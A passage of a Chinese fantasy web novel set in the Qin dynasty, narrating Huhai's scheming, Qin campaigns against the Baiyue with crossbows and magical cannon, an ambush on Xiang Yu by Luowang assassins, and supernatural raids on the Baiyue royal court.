胡亥盘坐在那座诡异古阵的中央,原本苍白的脸上透着一股不正常的红晕,瞳孔深处那抹赤蓝交织的异光愈发明显,周身散发的气息也变得阴鸷而危险!
一道黑影如烟般渗入,影狩统领无声跪地,双手呈上一卷用血蜡封存的皮卷!
“殿下,九魔囚禁之地的可能位置,已初步查明,共有三处,皆在百越与旧楚交界的不毛之地。”
统领的声音带着一丝不易察觉的疲惫。
显然探查这些秘辛付出了不小代价。
胡亥猛地睁开眼,一把抓过皮卷,指尖过处,血蜡自行融化!
他贪婪地扫过上面标注的三个凶险地名,发出夜枭般的低笑。
“好!很好!终于…终于找到了!”
他眼中闪烁着疯狂的野心,猛地看向阴影中如同雕像般侍立的赵高。
“老师!听见了吗?那九个魔头的下落!”
“让您的罗网立刻出动,给本公子把他们挖出来!”
“无论用什么手段,本公子要他们…重见天日!!!”
赵高缓缓从阴影中踱出,烛光映亮他半张惨白的面孔,声音尖细如常。
“老奴遵命。”
“只是…九魔凶戾异常,即便找到,恐也难以掌控…”
“那是你的事!”
胡亥不耐烦地打断他,语气暴戾。
“本公子只要结果!罗网养了那么多死士,难道都是废物吗?!”
赵高深鞠一躬,面无表情:“老奴明白了。”
胡亥似乎想起什么,又甩出一枚小巧的玉符扔给赵高,脸上露出一种猫捉老鼠般的戏谑。
“还有,这是项氏那个余孽项羽的最新踪迹。”
“据说他身边,还跟着几个当年楚国项氏的老臣…”
他顿了顿,声音压低,充满诱惑与恶意。
“老师,你说,若是让西楚的后裔和他最后的忠臣,死在帝国罗网的手中…是不是很有趣?”
“顺便,把当年楚国和韩国的那个盒子,给本公子带回来。”
赵高接过玉符,指尖微微摩挲着上面刻着的“羽”字,嘴角勾起一抹毫无温度的笑意。
“殿下放心,罗网最擅长的,便是让旧时代的亡灵…彻底安息!!”
“宝盒,也定会完好无损地呈于殿下面前。”
“去吧。”
胡亥挥挥手,重新闭上眼,继续消化体内躁动的力量。
“本公子等你们的好消息。记住,要快!”
赵高躬身退后,身影缓缓融入黑暗,如同从未出现过。
密室内,只剩下胡亥粗重的呼吸声和那卷摊开的,标记着上古魔头囚笼的皮卷。
他的指尖无意识地在地图上划动,仿佛已经触摸到了那足以颠覆一切的力量!
“快了…就快了…”
他喃喃自语,笑声在密室里低低回荡。
“等本公子集齐一切…父皇…兄长…你们都会大吃一惊的!”
……
西线战场,烟尘蔽日,杀声震天。
王离勒马立于一处稍高的土坡上,猩红的披风在裹挟着血腥气的风中狂舞!
他冷眼看着前方那片如同绞肉机般的战线,脸上没有丝毫动容,唯有那双继承自其父王贲的虎目中,燃烧着冷酷的战意!
在他前方,大秦的百战穿甲兵正展现出令人窒息的推进力量!!
最前排,是如山如岳的重盾兵!
一面面半人多高的包铁巨盾重重砸入地面,瞬间连接成一道望不到边的钢铁城墙。
百越犀魁、象力部的勇士狂暴的冲击撞在盾墙上。
却只能发出沉闷的巨响,难以撼动分毫!
“顶住!”
百夫长的吼声在盾阵后如雷炸响!
盾兵们肩抵巨盾,弓步前倾,如同扎根大地的磐石!
盾隙之间,无数长达一丈有余的重型长矛如**般猛然刺出!!!
这些长矛并非单手持有,而是由后排专司此道的矛兵双手握持,借助盾牌的掩护和全身的力量进行突刺!
力道之大,足以洞穿最厚重的皮甲!
甚至将冲来的百越力士,连同其简陋的盾牌一起捅穿!!!
更后方,三排**手循环迭射!
他们使用的并非轻便手**,而是需要脚踏腰蹬才能上弦的蹶张重**!
**箭粗如手指,箭镞是三棱破甲锥!
每一次齐射,都带着令人牙酸的崩弦声!
黑色的箭矢如同死亡的乌云,越过前方同袍的头顶,精准地覆盖向百越军阵的后排和试图集结的区域!!
“噗噗噗噗——!”
箭矢入肉声、盾牌撞击声、濒死惨叫声、兵刃碰撞声……
交织成一曲铁与血的狂暴秦戏!
百越勇士不可谓不勇悍,他们凭借个人勇武和熟悉的地形发起一次次反扑,甚至有人悍不畏死地扑到盾墙上,用战斧狂劈,用身体冲撞!
但!
在大秦这架精密、冷酷、高效的战争机器面前,个体的勇武显得如此苍白无力!
他们撞得头破血流,却只能在钢铁丛林前留下更多尸体。
王离面无表情地看着这一切,对身边的副将下令。
“传令,**箭覆盖延伸五十步,压制敌军后续兵力。”
“左右两翼重步向前挤压,给中路盾阵创造推进空间。”
“告诉**兵营,换燃烧箭,瞄着他们那些乱七八糟的图腾旗和兽皮帐篷给老子射!!!”
“诺!”
副将轰然应命,命令被高效执行。
很快,更多的**箭带着凄厉的呼啸落入百越军阵纵深,其中夹杂着拖曳着火尾的箭矢,瞬间引燃了数处营帐,浓烟滚滚,进一步加剧了百越人的混乱!
王离看着战线又开始如同钢铁磨盘般缓缓但不可逆转地向前碾压,这才微微颔首。
他抬起马鞭,指向远处一道若隐若现的山隘。
“通知后军,准备搭建浮桥和破障车。”
“碾过这片谷地后,下一目标——‘虎跃峡’。”
“天黑之前,本将军要在那里扎营!!”
……
与此同时。
黑风岭前线,浓郁的墨绿色毒瘴几乎化为实质,粘稠地笼罩着山谷,遮天蔽日。
瘴气之中,隐约可见百越山鬼、毒鸠部的巫师们正在疯狂舞动。
他们催动更多毒虫毒雾,企图将蒙毅的主力大军彻底困死,侵蚀在这片死亡地带!
秦军前锋的数次试探性进攻皆被逼退。
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士卒一旦吸入毒瘴,顷刻间便皮肤溃烂,哀嚎着倒下!
“公输先生。”
蒙毅披甲立于后方一处高坡,声音平静地穿透战场的喧嚣。
早已按捺不住的公输仇咧开一个近乎癫狂的笑容,机关臂兴奋地咔咔作响!!
“将军就瞧好吧!儿郎们——开饭了!”
他猛地一拍身旁一座形如巨龟、背负着粗长金属炮管的“雷神”炮兽!
“轰隆隆隆——!!!”
第一声炮响如同九天惊雷炸裂!!
紧接着,是第二声、第三声……
上百门机关重炮同时怒吼!
整个大地都在剧烈颤抖,炮口喷出的炽烈火焰瞬间驱散了高坡周围的阴霾!
无数被特制防火油包裹,内部填充了吸垢石灰和催燃剂的弹丸,拖着刺耳的尖啸,如同流星火雨般砸进浓稠的毒瘴之中!
**!!!
但并非单纯的冲击波!
第一轮**产生的气浪瞬间将浓郁的毒瘴撕开巨大的缺口。
紧随其后的弹丸在瘴气内部炸开,内部的石灰粉漫天飞扬,遇毒则凝,竟将部分毒雾中和、沉降!
而燃烧剂则瞬间引燃了弥漫在空气中的可燃毒尘!
连绵不绝的**在黑风岭谷地中疯狂回响!
火焰与冲击波交织,形成一片毁灭的风暴!
那些被百越巫师视为屏障的毒瘴,此刻反而成了**的助燃剂和催化剂,被恐怖的火力疯狂撕碎、点燃、驱散!
藏身于毒瘴中的百越战士和巫师们倒了大霉!
他们根本没见过这种超乎想象的打击方式!
有人被冲击波直接震碎内脏,有人被飞射的石灰弄瞎了眼睛,更多的人则被自己释放的毒火反噬,瞬间烧成火人,发出凄厉至极的惨嚎!
“这…这是什么?!!”
一名“毒鸠”部的长老刚尖叫出声,一发炮弹正好落在他身旁的毒虫罐群中。
“轰——!!!”
更加剧烈的**响起,毒液、火焰、虫尸、碎肉、漫天飞溅!
火力覆盖没有丝毫停歇!
第二轮、第三轮炮击接踵而至!
打击范围向着瘴气深处急速延伸,进行无差别的毁灭性犁地!!
站在高坡上的百越高手们,此刻终于亲眼目睹,亲身感受到了当初天泽太子面对的是何等绝望的场景。
那不是战争,那是天罚!
是钢铁与火焰对血肉之躯的绝对碾压!
他们的自信,他们的毒术,他们的依仗,在那毁灭性的炮火面前,脆弱得如同纸张!
“不可能…这不可能…”
一名“山鬼”部首领脸色煞白,喃喃自语,身体不受控制地颤抖起来。
他终于明白,为什么天泽的尸傀大军会败得那么惨,那么彻底。
公输仇看着下方一片火海的炼狱景象,兴奋地手舞足蹈!
“炸!给老子狠狠地炸!让这群蛮子尝尝什么叫雷霆之怒!”
远处中军营帐外。
赢子夜负手而立,玄衣在炮火掀起的狂风中猎猎作响,黑眸平静地倒映着下方的毁灭景象。
这就是他为百越准备的。
彻头彻尾的……
不留任何幻想的……
绝对的力量碾压!!!
第223章 为大秦,立威!!!
中军大帐内,烛火通明。
赢子夜指尖正点在沙盘上代表百越王庭的核心区域。
韩信传来的密报就铺在一旁,上面详细标注了王庭守卫、周边部落兵力以及几条隐秘的渗透路线。
“蒙毅主力继续从正面施压,吸引狰的注意力。”
“王贲水师分出偏师,沿这条暗河潜行,切断王庭与外部水源联系。”
“王离所部,在击破当前之敌后,立刻向这个方向迂回,堵死王庭西北退路。”
“钟离昧、樊哙、周勃各部,清剿残余后,向此合围…”
一道道指令清晰冷静地从赢子夜口中吐出,整个沙盘上的秦军力量如同收拢的巨网,开始向着百越王庭层层收紧。
最后,他直起身,目光看向一旁凝神细听的扶苏。
“兄长。”
扶苏下意识应道:“六弟请讲。”
“此战最后阶段的指挥……”
赢子夜语气平淡,却石破天惊!
“交由兄长全权负责。”
帐内瞬间一静!
所有将领,连同扶苏本人,都愕然地看向赢子夜。
扶苏最先反应过来,连忙摆手。
“六弟不可!我军虽胜券在握,但临阵换帅乃兵家大忌!何况为兄对前线细节…”
“兄长只需稳坐中军,依照既定方略,督促各部合围即可。”
赢子夜打断他,目光扫过帐中诸将。
“蒙毅、王贲、王离皆乃宿将,皆知该如何行事。”
“那六弟你…”
扶苏心中升起不妙的预感。
赢子夜黑眸转向沙盘上那代表王庭的标记,声音冷冽如刀。
“我亲自去一趟王庭,会一会那位百越王,‘狰’。”
“什么?!”
扶苏大惊失色,猛地站起身。
“不可!绝对不可!六弟,你乃万金之躯,岂可亲身涉险?百越王庭必是龙潭虎穴,万一…”
“正因是龙潭虎穴,才需我去。”
赢子夜语气依旧平静,却带着不容置疑的决绝。
“‘狰’不死,百越难平!大军合围虽稳,却易生变数,若让其再度遁入深山,后患无穷。”
“斩其首脑,其军自溃,可免我大秦儿郎更多死伤!”
“可是…”
扶苏心急如焚。
“这太冒险了!可以让暗河去,让卫庄先生去,何必…”
“单凭他们各自去,未必稳妥,因为此行,可能还有更深的隐患出现。”
“唯有我亲自坐镇,统率诸方精锐,方能手拿把攥!”
赢子夜看向扶苏,眼神深邃。
“兄长,此战并非只为征服,更为立威!”
“我要让百越所有人亲眼看着,他们的王,是如何倒在秦军的剑下!”
“唯有如此,方能彻底击垮他们的抵抗之心!”
他轻轻按在扶苏肩上。
“稳住大局,便是兄长对我最大的助力。”
扶苏看着赢子夜眼中那不容动摇的坚定,又看向沙盘上那看似稳操胜券,实则仍需血战的棋局,深知这位六弟一旦决定,无人可改。
他最终沉重地叹了口气,肩膀微微垮下,又强行挺直。
“六弟…定要平安归来!!”
赢子夜颔首,不再多言,转身向外走去,玄衣拂过帐帘。
夜风带着硝烟味扑面而来。
他并未停留,径直走向营地边缘一处早已清空的僻静营区。
赵弋苍如铁塔般无声地跟上。
“传讯。”
赢子夜声音低沉,语速极快。
“令,晓梦大师率天宗精锐,沿‘月泣峡’潜入,清除王庭东侧所有暗哨巫坛,子时前到位。”
“令,月神、大司命,带阴阳家高手,走‘亡魂水道’,解决西侧毒蛊陷阱,同步到位。”
“令,卫庄及逆流沙全员,封锁王庭所有可能遁逃的密道出口,许进不许出!”
“令,噬牙狱‘鬼卒’,混入王庭外围部落,制造混乱,牵制守军!”
“暗河‘夜枭’,随本公子…直插中枢!!”
一道道命令被迅速转化为加密讯息,由专门的传令兵携带着,如同离弦之箭般射入夜色,奔向不同的方向。
最后,赢子夜看向一直守在自己身边,寸步不离的少司命,语气稍缓。
“夫人,此行需你万叶流花助我清障辟毒。”
少司命紫纱微动,颔首不语,但悄然握紧的玉指表明了一切。
赢子夜最后取出一枚造型奇特的青铜虎符,交给赵弋苍。
“用此符以最快速度传给韩信,告诉他,我军将于寅时初刻对王庭发动总攻,令其部依计策应,制造最大动静,吸引王庭守军注意!”
“诺!”
赵弋苍接过虎符,重重抱拳,亲自前去安排。
短短一炷香内,一张针对百越王庭的顶级猎杀网已悄然撒出!
参与此次行动的,无一不是江湖中令人闻风丧胆的顶尖势力与绝顶高手!
这已非寻常军阵厮杀,而是一场汇聚了当世最强武力的斩首风暴!
赢子夜负手而立,仰望星空,计算着时间。
玄衣之下的气息沉凝如渊,仿佛即将出鞘的绝世凶刃!
少司命静静立在他身侧,周身已有淡淡的青叶虚影环绕流转。
而营区内,数十名暗河“夜枭”组的精锐正在做最后的检查,调整着身上各种奇门兵刃与**暗器,动作无声却高效,空气中弥漫着令人窒息的肃杀之气!
当赵弋苍返回,无声点头示意一切办妥时。
赢子夜黑眸中最后一丝波动敛去,只剩下绝对的冰冷与杀意。
“出发。”
……
楚地边缘。
荒山孤营。
项羽的营帐内灯火昏黄,他正擦拭着那柄伴随他征战多年的破阵霸王枪,重瞳在火光下闪烁着思索的光芒。
龙且被他派往别处收拢残兵,身边只余十余名项氏最忠诚的亲卫。
夜风忽然变得急促,刮得帐帘猎猎作响。
“嗯?”
项羽擦拭枪尖的动作猛地一顿,他天生对杀气有着野兽般的直觉。
几乎是同时,帐外传来极其短暂的金属交击声和闷哼!
“敌袭!”
项羽暴喝一声,抓起霸王枪猛地起身!
“轰——!”
整个营帐顶部突然被无形剑气撕得粉碎!
六道鬼魅般的身影如陨星般从天而降,剑光织成死亡之网,瞬间笼罩而下!
正是罗网六剑奴!!!
而与此同时,帐门帘布无声化为齑粉。
一道带着玄铁面具的身影缓步踏入,手中掩日剑散发出令人心悸的黑暗气息!
仅仅是存在,就几乎冻结了帐内空气!!
“罗网!”
项羽目眦欲
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裂,霸王枪如怒龙出海,悍然迎向六剑奴的合击!
“铛铛铛铛——!”
火星疯狂炸裂!
项羽以一敌六,竟硬生生扛住了第一波刺杀!
霸王枪势大力沉,每一击都带着崩山裂石的巨力,逼得六剑奴身形微滞!
但他身边的亲卫却没那么幸运,剑奴的合击之术刁钻狠辣,几乎是一个照面,便有数名亲卫被割喉、刺心,倒在血泊之中。
“保护少主!”
残存的亲卫红着眼扑上来,用身体为项羽争取空间!
真刚剑势刚猛,直劈项羽面门。
断水剑诡异莫测,专攻下盘。
乱神剑邪气森然,扰人心神。
魍魉双剑轻灵狠毒,专破罡气。
转魄、灭魂姐妹身形飘忽,剑光专门针对项羽的视线死角!
更有掩日在外围策应,掩日剑不时点出,每一次都让项羽感到如芒在背,不得不分心应对。
项羽怒吼连连,霸王枪舞得密不透风,枪芒过处,甚至连空气都被撕裂!
他天生神力,武功霸道绝伦,竟在六剑奴与掩日的**下勉强支撑,甚至一枪扫退了魍魉,在其肩甲上留下一道深痕!
但罗网**配合无间,根本不给他喘息之机。
亲卫一个接一个倒下,鲜血染红了地面!
“噗嗤!”
转魄剑终于找到机会,在项羽后背划开一道血口!
几乎同时!
灭魂剑尖点向他手腕,逼他撒手!!!
项羽吃痛,动作一滞,乱神剑的邪异剑气瞬间侵入,让他心神一阵恍惚。
“就是现在!”
掩日冰冷的声音响起。
断水剑如毒蛇般刺向他小腿!
项羽猛地扭身避开要害,小腿仍被划开深可见骨伤口,身形踉跄!
他心知不可久战,猛地将霸王枪往地上一插,狂暴的内力轰然爆发,暂时震开**!
随即,怒吼着撞破营帐后壁!
拖着伤腿,借着夜色向密林中亡命遁去!
六剑奴欲追,却被掩日抬手拦住。
他弯腰,目光落在破碎的案几旁。
那里,血迹未干,倒伏的酒盏与兵器之间,静静躺着一个样式古旧,略显黯淡的青铜盒。
那是项羽突围时来不及带走的东西。
掩日伸手拾起,拂去上面溅落的血迹,眼神冰冷而深不可测。
“任务完成。”
掩日声音毫无波澜,看也没看项羽逃离的方向。
“赵高大人有令,项氏余孽…活着比**有用。”
他扫了一眼地上横陈的项氏亲兵尸体,血泊尚在渗开。
“清理现场。”掩日的声音冷硬而森冷。
“做得干净些,要伪造成赢子夜麾下那支暗河的痕迹。”
他顿了顿,目光幽幽一转,落在黑暗中蠢动的影子上。
“龙且回来时,让他亲眼看到这场**。”
六剑奴无声颔首,迅速行动起来。
而另一些黑影,则如同鬣狗般,悄无声息地循着项羽留下的血迹和踪迹,远远吊了上去。
他们的任务,不是在此时杀死西楚后裔,而是等待,等待他重新**势力。
然后……
成为那势力中最“忠诚”的新血。
掩日抚摸着手中的楚国宝盒,面具下的嘴角勾起一抹冰冷的弧度。
猎物,已经入网!
第224章 神,亦不过如此!!!
夜色如墨,浓稠得化不开。
南疆的密林深处,三百道黑影如同融入其中的一部分,无声无息地向前流动。
赢子夜一袭玄衣,带着少司命,行走在暗河精锐夜枭们的最前方。
他的步伐并不快,却带着一种奇异的韵律,仿佛他并非在崎岖险恶的山林中穿行,而是在自家的宫苑中漫步。
然而。
那股无形的、几乎凝成实质的压迫感,却以他为中心,如同水银泻地般弥漫开来!
身后的三百夜枭,皆是百里挑一,历经无数生死考验的死士!
此刻却连呼吸都刻意放得极轻。
他们的目光聚焦在前方那道挺拔的背影上,眼神里混杂着敬畏、狂热以及一丝难以言喻的恐惧。
“主上。”
赵弋苍如铁塔般的身影悄无声息地贴近。
他的声音压得极低,带着军人的硬朗和绝对的恭顺。
“前方三里,是‘鬼哭涧’,百越人利用天然裂谷布置了万虫坑和迷心雾,乃是通往他们腹地的最后一道天然关卡,守备森严,强攻恐会打草惊蛇。”
赢子夜脚步未停,黑眸在夜色中掠过一丝淡漠的光,仿佛只是听到了一件微不足道的小事。
“蛇虫鼠蚁,也配称关卡?”
他的声音平静无波,却带着一种理所当然的蔑视。
“碾过去便是。”
赵弋苍心头一凛,低头应道。
“诺!”
他不再多言,只是默默打了个手势。
身后的夜枭队伍速度骤然提升,却依旧如同暗夜中的鬼魅,无声无息!
很快。
一片巨大的地裂峡谷出现在眼前。
阴冷的寒风从谷底呼啸而上,带来令人作呕的腥臭和无数细密的,令人头皮发麻的窸窣声!
谷中弥漫着五彩斑斓的雾气!
哪怕只是远远看着,都让人觉得心神摇曳,眼前幻象丛生。
隐约可见谷底蠕动着无数毒虫。
其数量之多,足以让任何目睹者心生绝望!!
而峡谷对面,隐约可见几点火光和百越哨兵巡逻的身影。
“主上,是否先派一队好手潜行过去,拔掉哨卡?”
另一名负责侦查的夜枭头目低声请示。
他的脸上涂着防虫的油彩,眼神锐利如鹰。
赢子夜终于停下了脚步,立于悬崖之畔,玄衣在谷底吹来的腥风中猎猎作响。
他俯瞰着下方那如同地狱入口般的景象,嘴角缓缓勾起一抹冰冷的弧度。
“不必那么麻烦。”
他缓缓抬起右手,五指微张。
刹那间!
一股难以形容的恐怖威压以他为中心轰然爆发!
并非真气狂涌,也非杀气四溢。
而是一种更本质、更高层次的力量!
仿佛沉睡的太古巨兽睁开了眼眸,俯瞰人间!!
三百夜枭,包括赵弋苍在内,几乎在同一时间感到心脏被一只无形巨手狠狠攥住,呼吸骤停!
他们不由自主地低下头,身体微微颤抖,那是生命层次上的绝对压制!
赢子夜的身后,虚空开始扭曲、荡漾,仿佛水面投入了巨石!
璀璨夺目的金色光芒骤然迸发,刺得人睁不开眼!
一声仿佛来自远古洪荒的龙吟,低沉、威严、蕴含着无上力量,震彻整片山谷,将那谷底的虫鸣和风声都彻底压了下去!!
金光收敛,一尊庞然大物赫然出现在赢子夜身后!
那并非真实的血肉之躯,而是由纯粹能量构成的巨**相!
通体覆盖着古朴而威严的金色龙鳞铠甲,形态巍峨如山岳,散发着煌煌帝威,宛如天帝临世!
每一条手臂都肌肉虬结,蕴含着崩山裂地的恐怖力量!
其中三条右臂,分别握着三把截然不同的兵器。
一柄燃烧着金色火焰的巨剑,仿佛能斩断因果。
一杆缠绕着暗紫色雷霆的长戟,散发着毁灭气息。
一口铭刻着玄奥符文的青铜巨钟,钟声未响,已让人神魂悸动。
另外三条左臂,则分别持有:
一面雕刻着狰狞龙首的巨大盾牌,散发出绝对防御的厚重感。
一本摊开的流淌着星辉的玉书,书页无风自动,似在演算天机。
最后一条手臂则空着。
五指微张,掌心向上!
仿佛托举着一方未生的世界!
金甲威龙巨兵法相!!!
赵弋苍瞳孔骤缩,倒吸凉气。
饶是他心志坚毅如铁,此刻也难掩惊骇之色!
感觉主上的法相变了……
而且又强大凝实了许多!
他身后的夜枭们更是鸦雀无声,许多人甚至下意识地跪伏下去,如同觐见神祇!
赢子夜立于法相之前,身形看似渺小,却仿佛是这尊神祇的核心与主宰。
他的黑眸中没有任何情绪,只有绝对的冰冷和掌控。
他甚至没有回头看那法相一眼。
只是对着前方的鬼哭涧,淡淡地吐出一个字。
“清。”
金甲法相动了!
那持有青铜巨钟的手臂轻轻一振。
“咚!!!”
一声并不响亮却直抵灵魂深处的钟鸣荡开!
肉眼可见的淡金色音波如同水纹般扩散开来。
所过之处,那五彩斑斓的“迷心雾”如同遇到烈阳的冰雪,瞬间消散瓦解,露出峡谷原本的样貌!!
对面山崖上的百越哨兵们猝不及防,纷纷抱着头颅发出凄厉的惨叫,七窍流血,眼神瞬间变得空洞呆滞,竟是被这一声钟响直接震散了神魂!
紧接着,那握着雷霆长戟的手臂猛然挥落!
“轰喀——!!!”
一道粗如殿柱的暗紫色神雷撕裂夜空,如同天罚般狠狠劈入万虫坑!
刹那间!
雷光爆闪,无数毒虫连惨叫都发不出便在至阳至刚的雷霆中化为飞灰!
整个谷底被照得如同白昼,雷蛇乱窜,焦臭弥漫!
那持着火焰巨剑的手臂随之横扫!
一道横贯峡谷的金色火墙凭空生成,带着焚尽八荒的恐怖高温,向着峡谷另一端碾压而去!
火墙过处,岩石融化,空气扭曲!
那些被震晕的哨兵,隐藏的陷阱,乃至山崖上的植被,瞬间汽化消失!
最后,那空着的左手掌心向下,对着峡谷轻轻一按。
一股无形却磅礴浩瀚的巨力轰然压下!
整个大地剧烈震颤,仿佛地龙翻身!
鬼哭涧那险峻的裂谷竟发出一阵阵不堪重负的**,两侧崖壁疯狂塌陷,无数巨石滚落,转眼间便将那令人闻风丧胆的万虫坑填平了大半!
烟尘冲天而起,又被法相自然散发的气息压了下去。
前后不过三五息时间。
那道曾经阻挡了无数人脚步,埋葬了无数生命的百越天堑,鬼哭涧,已然面目全非。
迷心雾散尽,万虫坑填平,哨卡灰飞烟灭!
一条被雷霆和火焰硬生生开辟出来的焦黑平坦的通道,横亘在赢子夜和三百夜枭面前!
死寂!!
除了风声和远处隐约传来的,被这边动静惊起的飞鸟扑棱声,峡谷内外一片死寂。
三百夜枭鸦雀无声
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所有人都僵立在原地,怔怔地看着那片被强行改易的地形,看着那尊缓缓消散在空气中的金色法相。
最后,目光落回前方那道玄色身影上。
赢子夜缓缓放下手,仿佛只是拂去了衣角的一点微尘。
他甚至没有去看自己的“杰作”,只是淡淡地瞥了一眼目瞪口呆的赵弋苍。
“障碍已清,继续前进。”
他的声音依旧平静,听不出丝毫波澜,却带着一种令人骨髓都发冷的威严和理所当然。
赵弋苍猛地一个激灵,瞬间回过神来,压下心中的惊涛骇浪。
重重抱拳,声音因激动和敬畏而有些嘶哑!!
“诺!全军听令!全速通过!”
这一刻,所有夜枭看向赢子夜的眼神,已经不再是看一位英明的统帅,一位强大的公子。
而是在仰望一尊行走在人间的……
神!!!
赢子夜负手,率先踏上了那条被他亲手开辟,仍散发着高温和丝丝电弧的焦黑通道。
玄衣飘动,步伐从容。
仿佛他刚刚并非以神魔手段碾平了一道天堑。
而只是推开了一扇虚掩的微不足道的柴门。
夜风呜咽,却再也带不来丝毫腥臭。
只有一种被彻底净化,碾压后的死寂和……
恐惧。
……
月泣峡,名如其地,终年弥漫着如泣如诉的瘴雾。
嶙峋的怪石在雾中如同扭曲的鬼影。
这里是百越王庭东侧最险峻的天然屏障,崖壁上凿刻着古老的邪异图腾,空气中漂浮着肉眼可见的毒孢子和细小的蛊虫。
百越人在此利用天险,设置了数处暗哨和借助地脉阴气修炼的巫坛,堪称东面的耳目与毒牙。
子时刚过。
峡内雾气最浓之时。
一道雪白的身影如同九天坠落的冰晶,悄无声息地落在峡谷入口处最高的石笋之上。
晓梦一袭白衣,纤尘不染,手持拂尘,背负雪霁,清冷的目光扫过下方翻涌的毒瘴,仿佛在看寻常山水。
她身后,数十名天宗精锐弟子如白鹤般悄然落下。
男女皆有,个个气息清冽,与周遭邪恶的环境格格不入。
他们结成一个简易的北斗阵势,以晓梦为核心,阵势流转间,竟将逼来的毒瘴微微排开。
“师尊,瘴毒猛烈,蛊虫扰神,是否先以净天地神咒开路?”
一名年轻男弟子上前低声请示,他手中玉符已微微发烫,显然在抵抗毒蚀。
晓梦并未回头,只是淡淡道:
“天地本清,何须净之?浊自浊,清自清。”
她拂尘轻轻一甩,并非施展什么宏**术,而是点向脚下石笋某处不起眼的苔藓。
奇异的一幕发生了!
那苔藓被拂尘点中后,竟微微散发出柔和的清光。
清光如涟漪般扩散开来!
所过之处,那些狂暴的毒孢子和蛊虫如同遇到克星,纷纷焦躁退避,竟硬生生在浓雾中清出一条勉强可供通行,相对“干净”的小径。
“循地脉清灵之处而行,勿扰浊气。”
晓梦声音清冷,已率先步入小径。
弟子们又惊又佩,连忙紧随其后,心中对师尊“道法自然”的境界有了更深体会!
这条小径蜿蜒曲折。
时而没入岩缝,时而需踏过深潭,完全违背常理。
却总能巧妙地避开瘴毒最浓、守卫最严的区域。
晓梦步履从容,仿佛不是在敌境潜行,而是在自家后山漫步赏景。
然而,百越的布置并非只有毒瘴。
第225章 镇杀!
“嗡——”
一阵诡异的低频波动突然从左侧岩壁传来,数名弟子顿时感到气血翻涌,头晕目眩!
那里隐藏着一处巫坛,正在做法干扰入侵者心神。
晓梦甚至没有停下脚步,只是左手并指如剑,凌空向着波动来源轻轻一划!!
“噤声。”
没有光华万丈,没有巨响轰鸣。
但那处的岩壁仿佛被无形的利刃平滑地切开了浅浅一层。
连同上面刻画的邪符和后面正在施法的三名巫师,瞬间失去了所有声息!!
波动戛然而止,只有淡淡的血腥味从岩缝中渗出!
继续前行不到百丈。
头顶突然传来窸窣声!
无数黑影如同瀑布般从崖顶落下!
是百越驯养的吸血毒蝠!
弟子们刚要结阵防御,晓梦拂尘再次轻扬。
万千尘丝如同活物般向上蔓延,每一根尘丝都精准地点在一只毒蝠的额心。
被点中的毒蝠瞬间僵硬,如同被冰封般直直坠落,摔在地上碎成冰晶粉末。
整个过程无声无息,快得令人难以置信!!
他们如入无人之境,很快接近第一处大型暗哨!
那是一个利用天然洞穴改造的据点,洞口被幻术遮掩,内有十余名百越哨兵和一名气息阴森的巫祝。
晓梦在洞外十丈处停下,对身后一名女弟子微微颔首。
那女弟子会意,双手掐诀,口中念念有词,施展的却是天宗秘传的“镜花水月”之术!
并非强攻,而是巧妙地扭曲了洞口的幻术,让其内部看起来一切如常,实则已将内外空间暂时轻微错位。
同时,另外两名弟子如烟般滑入洞中。
剑光如秋水乍现,一闪即逝!
洞口守卫甚至还未来得及发声,喉咙间便只余下汩汩的血泡。
两名弟子身法轻灵,仿佛月下游鱼,每一步都准确落在岩壁的阴影中,不惊起半点声息。
他们的剑光并不炫目,却锋利得近乎残酷!!
一名哨兵眼中刚浮现疑惑,心口已被剑尖洞穿,倒下时连手中兵刃都没来得及落地。
而那名巫祝察觉到异样,急欲催动符咒,可额心,却已被一道细若游丝的剑芒点破,眼神凝固在惊惧之中!!
寂静再度归于洞穴,仿佛方才的杀机只是错觉。
片刻后,两人出洞,对着晓梦微微点头。
洞内已无活口,且未发出任何警报。
就这样,晓梦率领天宗弟子,以一种近乎艺术般的精准与高效,一路清除障碍!
他们不像暗河那般诡谲狠辣,也不像逆流沙那般霸道绝伦。
而是充分利用环境,以最小的动静、最精妙的道法,瓦解着百越的防御!!
或点破地气节点让毒阵失效,或引导山间微风改变蛊虫飞向,或以幻术让哨兵自相残杀……
他们将道家术法的“巧”与“净”发挥到了极致!!
最终,他们抵达了东侧最后,也是最大的一处巫坛。
此坛设在一个巨大的溶洞内。
洞顶悬挂着无数风干尸骸。
而中央血池沸腾,三名修为高深的老巫祝正围绕着一个狰狞的图腾柱做法,能量波动强烈!
晓梦终于第一次停下了脚步。
她静静地看着洞内的景象,清冷的眸中第一次闪过一丝极淡的……
厌恶。
她缓缓抬起拂尘,这一次,尘丝上凝聚起清晰可见的、令人心悸的星辉月芒。
“上善若水。”
清冷的声音在溶洞内回荡。
拂尘挥落。
没有惊天动地的**,只有一片纯净清冷的星辉月华如同水银泻地般涌入溶洞,温柔地覆盖了每一寸角落。
血池瞬间平息、凝固、然后…化为齑粉!!
图腾柱无声碎裂。
那三名老巫祝保持着施法的姿势,身体却从脚开始迅速化为飞灰,随风消散。
整个邪异的溶洞,竟在数息之间被净化得如同雪后初霁的山谷,再无半分污秽邪气。
晓梦收回拂尘,仿佛只是做了一件微不足道的小事。
“东侧已清。”
她对着虚空淡淡说了一句,随即转身。
就在此时!
远处王庭方向,忽然传来一声震彻天地的巨响!
轰鸣声滚过群山,连溶洞顶端的钟乳石都微微颤动,尘屑簌簌而落。
紧接着,一股无法形容的恐怖威压汹涌而来!
那股气息,浩瀚如渊,威严如狱。
再熟悉不过了。
天宗弟子们纷纷脸色一变,心神如遭重压,呼吸都为之一滞!
唯有晓梦眼底掠过一丝清光,她静静凝视着那股力量传来的方向,拂袖一挥,白衣如月华流转,气质清冷而绝尘。
“这是殿下的气息……”
“走吧,去与他们汇合。”
白衣飘飘,引领着天宗弟子,悄无声息地消失在净化后的溶洞另一端,仿佛从未出现过。
王庭东侧,所有耳目爪牙,已被彻底拔除!!
……
亡魂水道。
这是一条隐匿在百越瘴疠山林深处的古老河道。
河水呈现出一种不祥的墨绿色,粘稠得几乎不再流动。
水面上漂浮着腐烂的枝叶和偶尔冒出,肿胀发白的不知名生物尸体。
两岸是扭曲狰狞的枯木。
枝杈如同鬼爪般伸向灰蒙蒙的天空。
空气中,弥漫着浓烈的腐臭和一种甜腻到令人头晕的异香。
那是无数毒蛊虫豸散发出的混合气息。
寻常人吸上一口,顷刻间便会内脏溃烂而亡。
即便是修为有成的武者,在此地也会感到真气滞涩,心神不宁。
而水道两侧的泥沼中,不时有巨大的气泡“咕嘟”一声冒出。
